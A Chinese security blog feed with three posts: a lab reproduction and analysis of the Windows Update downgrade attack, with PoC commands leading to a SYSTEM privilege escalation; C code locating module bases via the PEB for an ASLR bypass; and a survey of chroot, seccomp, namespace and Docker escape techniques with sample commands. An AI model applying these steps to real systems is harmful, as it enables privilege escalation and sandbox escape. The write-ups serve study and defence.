普通视图

发现新文章,点击刷新页面。
昨天以前首页
  • ✇BeaCox
  • Windows 更新降级攻击复现与分析BeaCox
    SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。环境准备Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64磁力连接:1ed2k://|file|zh-cn_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso|7141826560|9BCE0FF18791A035ED8541A3EF8C791A|/下载后导入到 VMware。PoC 工具下载https://github.com/SafeBreach-Labs/WindowsDowndate仓库中也提供了 PyInstaller 构建好的可执行程序。漏洞复现运行 winver 看一下版本:Windows11 23H2 22631.3880以管理员
     

Windows 更新降级攻击复现与分析

作者 BeaCox
2024年8月22日 14:00

SafeBreach 的安全研究员 Alon Leviev 在 Black Hat 2024 上揭示了两个漏洞CVE-2024-38202 和 CVE-2024-21302 ,可用于破坏 Windows 更新的完整性并重新引入数千个以前修复的漏洞,从而将修补后的系统重新变成 0day 漏洞的目标。

环境准备

Windows版本:Windows 11 消费者版本 23H2(2024年6月更新)x64

磁力连接:

1
ed2k://|file|zh-cn_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso|7141826560|9BCE0FF18791A035ED8541A3EF8C791A|/

下载后导入到 VMware。

PoC 工具下载

https://github.com/SafeBreach-Labs/WindowsDowndate
仓库中也提供了 PyInstaller 构建好的可执行程序。

漏洞复现

运行 winver 看一下版本:Windows11 23H2 22631.3880
winver

以管理员权限运行PoC程序,降级到 CVE-2023-21768 可攻击的环境(AFD 驱动):

1
./windows_downdate --config-xml examples/CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade/Config.xml

downdate

需要重启,重启完成后运行cmd。
切换到 CVE-2023-21768 利用程序目录,运行 whomai 可知目前是普通用户。
找到当前 cmd 的 pid:

1
tasklist | find "cmd.exe"

运行 CVE-2023-21768 利用程序,指定要提升权限的进程为当前 cmd 进程:

1
.\Windows_AFD_LPE_CVE-2023-21768.exe <pid>

exp

再次运行 whoami 发现已经拿到 system 权限。

漏洞分析

我能够使完全修补的 Windows 机器容易受到数千个过去漏洞的影响,将修复的漏洞变成零日漏洞,并使“完全修补”一词在世界上任何 Windows 机器上都毫无意义。

Windows 更新流程

首先需要知道的是,Windows 的更新需要客户端管理权限,而更新服务器会运行受信任的安装程序来完成更新。即使是 SYSTEM 权限,也不能修改 Windows 更细节机制拥有的系统文件。

Windows 更新流程包括以下步骤:

  1. 首先,客户端要求服务器执行它提供的更新文件夹中包含的更新。
  2. 然后,服务器验证更新文件夹的完整性。
  3. 验证后,服务器将对更新文件夹进行操作,以完成更新文件。它们被保存到服务器控制的文件夹中,客户端无法访问该文件夹。
  4. 服务器将操作列表保存到服务器控制的文件夹中,客户端无法访问该文件夹。操作列表名为 Pending.xml,其中包含要执行的更新操作。例如,它指定要更新的文件、源文件和目标文件等。
  5. 最后,当操作系统重启时,将对操作列表进行操作,并在重启过程中执行更新操作。

其中第5步的更新是由受信任的安装程序在服务器端强制执行的,管理员想要提权到受信任安装程序权限会被 EDR(Endpoint Detection and Response) 阻止。因此想要代替更新服务器来完成更新是不可能的

作者一开始的目标是更新文件夹中的差异文件。但是 manifest 里硬编码了更新文件的哈希值,而更改这个值会破坏 manifest 文件的签名(在 catalog 文件中)。

漏洞点

于是作者把目标放在了操作列表(pending.xml)的修改上,并发现了注册表一个名为PoqexecCmdline的有趣的 key,它包含了一个可以解析操作列表和操作列表路径的可执行程序。其路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\Configuration\PoqexecCmdline

而且这个 key 不是由受信任的安装程序强制执行,意味着我们可以用管理员权限来修改添加这个key并修改其值。这个 key 的作用是什么呢?它标志着需要更新,受信任安装服务在检测到这个 key 后,会将其值作为命令执行,而这个命令可以用于解析操作列表及其路径,这意味着修改这个 key 也就完全控制了操作列表
源代码中定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
def register_poqexec_cmd(poqexec_cmd: str) -> None:
"""
Registers the PoqexecCmdLine registry key containing the Pending.xml path

:param poqexec_cmd: The PoqExec.exe command line. Usually it is as follows -
path/to/poqexec.exe params pending_xml_nt_path
:return: None
"""
set_reg_value(winreg.HKEY_LOCAL_MACHINE,
SIDE_BY_SIDE_CONFIGURATION_REGISTRY_PATH,
"PoqexecCmdline",
[poqexec_cmd],
winreg.REG_MULTI_SZ)

源代码中调用:

1
2
3
4
5
def pend_update(pending_xml_path: str, impersonate_ti: bool) -> None:
...
poqexec_path_exp = os.path.expandvars(POQEXEC_PATH)
poqexec_cmd = f"{poqexec_path_exp} /display_progress \\??\\{pending_xml_path}"
register_poqexec_cmd(poqexec_cmd)

可以发现程序生成了一行完整的poqexec.exe命令并将其写为了这个 key 的值,其中pending_xml_path也由我们控制,其相应文件中内容就是我们之前运行的命令中--config-xml选项后指定的 xml 文件内容。

这个xml,即操作列表(pending.xml)提供创建文件、删除文件、移动文件、硬链接文件、创建注册表键和值、删除键和值等功能。例如,为了降级,可以使用硬链接文件操作,source 文件将替换 destination:

1
<HardlinkFile source="C:\UpdateDir\Source.exe" destination="C:\Windows\System32\Destination.exe"/>

将 destination 设置为要降级的目标文件,将 source 替换为降级后的文件即可。

攻击流程

攻击的主要思想就是修改操作列表。但是还需要经过一些验证/找到触发更新操作的方式,主要流程如下:

  1. 将受信任安装服务设置为自启动,这样重启系统后会检查是否需要更新
  2. 在注册表中添加PoqexecCmdline及相应的值,指定操作列表路径
  3. 添加操作列表的标识符
    标识符是一个动态数字,出于完整性目的,将它与操作列表的标识符进行比较。从代码中可以看到,在 xml 中设置的标识符要和在注册表中 PendingXmlIdentifier 的值一样。
    1
    2
    3
    4
    5
    6
    7
    8
    PENDING_XML_IDENTIFIER = "916ae75edb30da0146730000dc1be027"

    EMPTY_PENDING_XML = f"""<?xml version='1.0' encoding='utf-8'?>\n
    <PendingTransaction Version="3.1" WcpVersion="10.0.22621.2567 (WinBuild.160101.0800)" Identifier="{PENDING_XML_IDENTIFIER}">
    ...
    """
    ...
    set_pending_xml_identifier(PENDING_XML_IDENTIFIER)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    def set_pending_xml_identifier(pending_xml_identifier: str) -> None:
    """
    Sets the Pendning.xml identifier in registry

    :param pending_xml_identifier: The Pending.xml identifier
    :return: None
    :note: This API assumes the COMPONENTS hive is loaded to the registry
    :note: If this identifier is not equal to the Pending.xml identifier, PoqExec.exe will fail parsing Pending.xml
    """
    pending_xml_identifier_bytes = bytes(pending_xml_identifier, "utf-8")
    pending_xml_identifier_unicode = b"\x00".join(bytes([byte]) for byte in pending_xml_identifier_bytes) + b"\x00"
    set_reg_value(winreg.HKEY_LOCAL_MACHINE,
    "COMPONENTS",
    "PendingXmlIdentifier",
    pending_xml_identifier_unicode,
    winreg.REG_BINARY)

先前,在执行 PoC 代码后,我们重启并完成了对另一个漏洞的攻击。
在这个过程中:

  1. Windows 更新机制中的受信任安装服务自启动
  2. 检测到PoqexecCmdline,执行其中命令设置操作列表路径
  3. 受信任安装程序根据我们构建的 xml 文件进行更新,导致文件被替换成低版本脆弱文件
  4. 降级攻击完成

由于这个过程被 Windows 更新机制接管,因此十分隐蔽。

更多

原文中还提到绕过 VBS(Virtualization-Based Security) UEFI 锁等内容,这里只对降级攻击做简单介绍,感兴趣可以看原文。

自定义降级攻击

Windows 降级支持制作自定义降级。要制作自定义降级,你需要创建一个配置 XML 文件,然后将此配置 XML 输入工具即可。

在 CVE-2023-21768 的攻击中,我们用到的 XML 文件如下:

1
2
3
4
5
<Configuration>
<UpdateFilesList>
<UpdateFile source="%CWD%\examples\CVE-2023-21768-AFD-Driver-EoP-Patch-Downgrade\UpdateFiles\afd.sys" destination="C:\Windows\System32\Drivers\afd.sys" />
</UpdateFilesList>
</Configuration>

原理非常简单,就是定义用于替换的文件路径和目标文件路径。
只要是 Windows 下与系统文件版本有关的漏洞就可以自定义降级攻击。

结语

Windows 对于安全边界的划分似乎总是异于常人啊。。。

Max Severity: Important

Attack Complexity: Low

Privileges Required: Low

Exploit Code Maturity: Proof-of-Concept

Remediation Level: Unavailable

前几条和最后一条竟能同时出现在同一则安全公告中,真乃神人也。

  • ✇BeaCox
  • Windows PEB 利用BeaCox
    ASLRASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。PEB在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。进程环境块(PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。维基百科
     

Windows PEB 利用

作者 BeaCox
2024年3月16日 20:00

ASLR

ASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。

在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。

究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。

当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。

PEB

在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。

进程环境块PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。

维基百科对 PEB 的描述足够全面,推荐感兴趣的读者继续阅读,值得注意的是中文翻译有些瑕疵。说回到 PEB,PEB 是一个结构体,包含了进程是否被调试、被加载模块的虚拟地址等大量信息。

在 Windows 11 23H2 (2023 Update) 版本的内核中,PEB 的部分定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//0x7d0 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
VOID* SubSystemData; //0x28
VOID* ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
VOID* IFEOKey; //0x48
……
};

在本文中,我们主要关注偏移为 0x18 的 Ldr 字段。为什么?因为它包含了被加载模块(用到的库)的虚拟地址。

Ldr 概览

在利用之前,或许应该先看看这个字段包含什么内容。我先在 Windbg 中随机打开一个应用程序看看 PEB 及 Ldr 的内容。

lm

在命令框中键入lm,即 list modules,可以看到这个应用加载了5个模块。其中a是程序本身的名字(a.exe),而KERNEL32是我们关心的另一个模块,因为它控制着系统的内存管理、数据的输入输出操作和中断处理,或者换句话说,其中有许多我们可以利用的函数(如WriteFile()用来写)。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址,因此我们需要用到 PEB。

在 Windbg 中也可以很方便地查看 PEB 信息:

!peb

在命令框中键入!peb可以看到 Ldr.InMemoryOrderModuleList下存储着被加载模块地基地址,其中第一个和第三个是我们的目标,其显示的基地址和之前使用lm命令查看到的地址是一致的。

值得一提的是,这些 Modules 正是以 List 链表形式存储的。我们简单地验证一下:

list

不难发现,在每个条目的开头存储着下一个条目的地址,而偏移 0x20 处存储着被加载模块的基地址。因此当我们表头的地址时,我们可以通过每个链表项跳转到下一个链表项、可以获取每个链表项下模块的基地址。

PoC

接下来就是编写 C 代码获取被加载模块虚拟地址的 demo 了。我们先提出尚未解决的几个问题:

  1. 如何获得 PEB 结构体在内存中的地址?
  2. Ldr 相对 PEB 的偏移量已知是 0x18,Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是多少?

先回答第二个问题:Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是 0x20 。并且在我们编写 C 代码的时候,不需要知道具体的偏移量,只需要知道字段名称即可,相应的库会帮我们处理好偏移量。

接着是第一个问题:Windows 用 FS/GS 寄存器来存储 PEB 的地址,分别对应32位/64位。具体如下:

  • 32位:fs:0x30
  • 64位:gs:0x60

:后代表偏移量。

解决了这两个问题之后就可以编写 C 代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>

int main(void) {
// __readgsqword(0x60) equals to mov <register>, gs:[0x60]
PPEB pebPtr = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldrData = pebPtr->Ldr;
PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList;
// Get the first module in the list
PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

// Skip 3 modules to get kernel32.dll
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
// Get kernel32.dll
PLDR_DATA_TABLE_ENTRY kernel32_module = CONTAINING_RECORD(moduleList, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PVOID program_base = program_module->DllBase;
PVOID kernel32_base = kernel32_module->DllBase;
printf("Program base: %p\n", program_base);
printf("Kernel32 base: %p\n", kernel32_base);

return 0;
}

简单地解释一下流程:

  1. 通过 gs 寄存器获取 PEB 地址
  2. 通过 PEB 结构体获取 Ldr
  3. 通过 Ldr 获取 InMemoryOrderModuleList
  4. Flink 一次将取出表头,在固定的偏移处可以取出程序基地址
  5. Flink 3次将取出第三项,在同样的偏移处可以取出 Kernel32.dll 的基地址

编译成可执行文件并运行:

1
2
gcc poc.c
./a.exe

得到输出:

1
2
Program base: 0000000000400000
Kernel32 base: 00007FFEBE4B0000

发现与在 Windbg 中得到的一致。

这证明:我们可以通过编写 C 代码获得被加载模块的基地址。更进一步地,我们的 C 代码经过编译后反汇编得到的汇编代码简单清晰,这意味着我们可以编写比较简单的汇编来实现这一目标。换言之,我们可以在 shellcode 中实现这一目标从而绕过 ASLR。

  • ✇BeaCox
  • 沙箱与DockerBeaCox
    沙箱技术杂谈为什么沙箱技术被称为沙箱技术?在现实生活中,沙箱是一个装满沙子的小箱子,小孩儿们可以在沙箱里面发挥自己的想象力——建沙堡、画画等,而不会将沙子弄得满地都是。在计算机安全领域,沙箱技术的主要目标是隔离和保护程序,以防止它们对系统或其他应用程序造成不必要的损害或干扰。沙箱技术的历史早在上世纪60年代,就已经通过硬件实现了系统和进程代码的隔离。80年代,通过硬件方法隔离不同进程的内存空间。VAX/VMS操作系统引入了”访问控制列表”的概念,允许管理员对文件和资源进行更细粒度的权限控制。这是隔离和控制访问的重要步骤。90年代,互联网逐渐开始普及。产生了解释器和被解释的代码之间的隔离,以及Java虚拟机(JVM)等早期沙箱技术。2000年左右,是针对浏览器的网络攻击最盛之时。而2010年前后,现代沙箱技术崛起了,主要用于浏览器,让不被信任的代码、数据被放置于一个被隔离的进程中。当被隔离的进程(子进程)想要执行一些需要授权的操作时,需要向父进程(如Firefox)请求,得到允许后方可执行。沙箱逃逸chroot()chroot()系统调用最早于1979年出现在Unix系统,然后出现在BS
     

沙箱与Docker

作者 BeaCox
2023年9月16日 22:37

沙箱技术杂谈

为什么沙箱技术被称为沙箱技术?

在现实生活中,沙箱是一个装满沙子的小箱子,小孩儿们可以在沙箱里面发挥自己的想象力——建沙堡、画画等,而不会将沙子弄得满地都是。

在计算机安全领域,沙箱技术的主要目标是隔离和保护程序,以防止它们对系统或其他应用程序造成不必要的损害或干扰。

沙箱技术的历史

早在上世纪60年代,就已经通过硬件实现了系统和进程代码的隔离。

80年代,通过硬件方法隔离不同进程的内存空间。VAX/VMS操作系统引入了”访问控制列表”的概念,允许管理员对文件和资源进行更细粒度的权限控制。这是隔离和控制访问的重要步骤。

90年代,互联网逐渐开始普及。产生了解释器和被解释的代码之间的隔离,以及Java虚拟机(JVM)等早期沙箱技术。

2000年左右,是针对浏览器的网络攻击最盛之时。

而2010年前后,现代沙箱技术崛起了,主要用于浏览器,让不被信任的代码、数据被放置于一个被隔离的进程中。当被隔离的进程(子进程)想要执行一些需要授权的操作时,需要向父进程(如Firefox)请求,得到允许后方可执行。

沙箱逃逸

chroot()

chroot()系统调用最早于1979年出现在Unix系统,然后出现在BSD系统。这是一种传统沙盒。

chroot('/sandbox')的作用是让调用该函数的进程以及其子进程认为根目录/sandbox,在/sandbox中时,不能cd ../到真正的根目录,因此一定程度上限制了进程对/sandbox外资源的访问。

路径穿越

考虑在根目录运行如下C代码(不完整):

1
2
chroot("/sandbox");
execl("/busybox", "sh", 0); // Busybox在单一的可执行文件中提供了精简的Unix工具集,在这可以理解为运行了一个Linux系统

初看:busybox运行,它认为自己的根目录是/sandbox。但问题是,调用chroot()不会自动更改工作目录,因此busybox的工作目录还在根目录,可能可以借由这个工作目录访问沙箱外的资源。

资源未关闭

仅仅执行chroot(),并不会将先前打开的资源(如文件)关闭(留下文件句柄)。

Linux中有许多后缀为at的系统调用,可以根据目录(的句柄)和相对路径找到文件。以下是一些例子:

1
2
int openat(int dirfd, char *pathname, int flags);
int execveat(int dirfd, char *pathname, char **argv, char **envp, int flags);

如果先前有打开的目录未释放句柄,那么很容易利用句柄访问任意文件。

重复调用chroot()

调用了一次chroot()后,如果没有明确限制,可以再次调用chroot()。考虑以下情况:

位于根目录为/sandbox的沙箱中(已经执行chroot("/sandbox");)。

1
2
3
4
5
6
mkdir springboard# 在沙箱的根目录中创建目录
chroot springboard# 现在进程认为/sandbox/springboard是它的根目录
# 但是现在工作目录是/sandbox,我们实际上处于进程所认为的根目录外面,因此不受限制
# chdir ../../
# 现在工作目录就是/
# 我们已经到达了真正的根目录

seccomp

seccomp被称作系统调用的防火墙。可以禁用某些系统调用,或者基于参数来禁用。
docker、chrome、firefox等,都依赖于seccomp

seccomp的规则将会被children继承

1
2
3
4
5
6
scmp_filter_ctx ctx;//seccomp过滤规则的数据结构
ctx = seccomp_init(SCMP_ACT_ALLOW);//初始化seccomp, 允许所有系统调用
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); //禁止 execve 系统调用
seccomp_load(ctx);//应用规则

execl("/bin/cat", "cat", "/flag", (char *)0);//这个函数会调用 execve,将被 kill

更多使用方法:

1
man seccomp_rule_add

宽松的过滤规则

Linux系统现在有300多种系统调用,且仍然在不断更新,十分复杂。沙箱应用开发者为了功能、性能或方便,可能会制定相对宽松的过滤规则。有些未被允许的系统调用就有可能被用于逃逸。

系统调用混淆

许多64位架构向后兼容了32位。在amd64等架构中,你可以在同一个进程中切换32/64位模式。

不过有趣的是,不同架构(甚至是同一个架构的32/64位)的系统调用号不一样。例如:

exit()在amd64中号码是60,在x86中是1。

在amd64操作系统中,seccomp默认配置的是amd64下允许/禁用的系统调用。如果允许两种模式下的系统调用,那么沙盒很可能顾此失彼。

考虑下面这种情况:

系统调用号amd64x86
3closeread()
4stat()write()
5fstat()open()

如果开发者在配置规则时,本意是允许close(), stat(), fstat()系统调用,但由于seccomp根据系统调用号进行过滤,当我们使用32位的指令进行系统调用时,我们竟然可以调用open, read, write——这意味着我们可以读取文件的内容并输出到其他文件或标准输出等。

内核漏洞

如果沙盒的seccomp被正确配置,攻击者很难发起有用的攻击。但是,用户仍然可以调用在白名单中的系统调用。如果内核中含有漏洞,通过系统调用,攻击者就可能利用这些内核漏洞。

听起来很玄乎,但其实内核与普通软件一样,都是代码,都或多或少存在漏洞,单是2019年一年,就有超过30个Chrome沙盒逃逸,其中大部分利用了内核漏洞。

namespace——现代解决方案

命名空间是 Linux 中可用的功能,用于隔离不同系统资源方面的进程。在Linux中有很多namespace,包括:

  • mnt(挂载点,文件系统)
  • pid(进程)
  • net(网络堆栈)
  • IPC(系统 V IPC)
  • uts(主机名)
  • 用户(UID)

等。使用挂载命名空间、pivot_root可以让用户只能访问原本文件树的一部分。

原有root挂载点未删除

一般会将旧的根目录挂载到沙箱内某个挂载点,然后使用pivot_root将根目录换成新的“根目录”,然后再将该挂载点和目录删除。如果忘记删除原有挂载点,则沙箱形同虚设。

共享文件系统

如果沙箱和宿主共用文件系统(沙箱对文件系统有写权限),那么沙箱用户就可以利用自己的root权限来在沙箱外提取。
例如,在沙箱内:

1
chmod 4755 /bin/cat

那么在沙箱外的任何用户就都可以以root身份运行cat,这意味着可以读取任何文件。

先前打开的资源未关闭

chroot()中讨论的一致。

setns()和/proc

setns():

1
int setns(int fd, int nstype);

fd参数是下列两者其中之一:

• 指向/proc/pid/ns/目录中的一个链接(或绑定挂载到此类链接)的文件描述符;

• 一个进程文件的句柄

nstype视情况而定。

setns()系统调用可以将当前进程的命名空间切换成其他进程的命名空间。

在bash中,可以:

1
2
PID=149
nsenter --mount=/proc/$PID/ns/mnt cat /flag

这样当前bash就会拥有和PID为149的进程一样的挂载命名空间。假如这个进程是沙箱外的,那么当前bash就有了沙箱外的挂载命名空间,意味着沙箱内用户可以访问完整的文件树。

也就是说,将原有的/proc挂载到沙箱中,且沙箱外有其他进程未关闭的情况下,是非常危险的!

Docker

Docker容器 vs 沙箱

Docker容器和沙箱有许多相似之处,例如:

  • 环境隔离

    两者都与宿主系统产生了一定的隔离,起到了限制和保护作用

  • 轻量

    相比于虚拟机,两者都称得上轻量

但两者是截然不同的技术:

  • 隔离级别:

    Docker容器提供了一种相对较高级别的隔离,包括文件系统隔离、进程隔离、网络隔离等。容器之间通常是相互隔离的,但它们仍然在同一个操作系统内核上运行。沙箱通常提供更加细粒度的隔离,通常是为了限制单个应用程序或代码的权限。沙箱环境可以是单进程的,不涉及多个容器或应用程序的协同工作。

  • 用途:

    Docker容器是用于构建、打包和运行应用程序的独立、可移植的环境。它们旨在在不同的环境中一致地运行应用程序,包括开发、测试和生产环境。Docker容器通常包括应用程序及其依赖项,并提供了隔离、版本控制和自动化部署的能力。沙箱是一种安全机制,用于隔离和限制运行在其中的代码或程序的能力。沙箱旨在提供一种受限制的执行环境,以防止应用程序或代码对系统或其他应用程序造成损害。它通常用于执行不受信任的代码或对应用程序进行测试,以减少潜在的风险。

  • 隔离技术:

    Docker容器使用容器化技术,如Docker引擎,通过Linux命名空间、控制组等技术提供隔离和资源管理。沙箱可以使用各种技术,包括操作系统级别的虚拟化、chroot、Seccomp、AppArmor等,具体取决于实现。

Docker安全

除了在沙箱技术中提到的namespace, seccomp等,Docker还使用capabilities, control groups等来Linux提供的功能来提升安全性。

  1. cgroups:
    • 资源隔离:Docker使用 cgroups 来隔离容器的资源使用,包括CPU、内存、磁盘I/O等。每个容器都可以分配一定的资源配额,以确保它们不会互相干扰或抢占主机上的资源。
    • 资源限制:cgroups 允许设置容器的资源限制,例如限制 CPU 使用率、内存使用量等。这有助于防止容器滥用主机上的资源,提高整个系统的稳定性。
    • 资源监控:通过 cgroups,你可以监视容器的资源使用情况,以便进行性能调整和资源规划。
  2. capabilities:
    • 最小权限原则:Docker 使用 Linux 的 capabilities 功能来确保容器中的进程以最小权限原则运行。capabilities 允许我们将权限分配给进程,而不需要完全的 root 权限。这样可以减小潜在的攻击面。
    • 降低特权:Docker 默认情况下会剥夺容器中的进程一些敏感的权限,如修改主机的网络配置或访问主机的设备。这有助于降低容器中运行的进程对主机的潜在威胁。

值得一提的是,如果主机 /proc 目录被挂载在 docker 容器中,而且容器的capabilities配置了 CAP_SYS_ADMIN (很高的权限,例如可以挂载文件系统),那么我们能够很轻松的从容器中逃逸。

❌
❌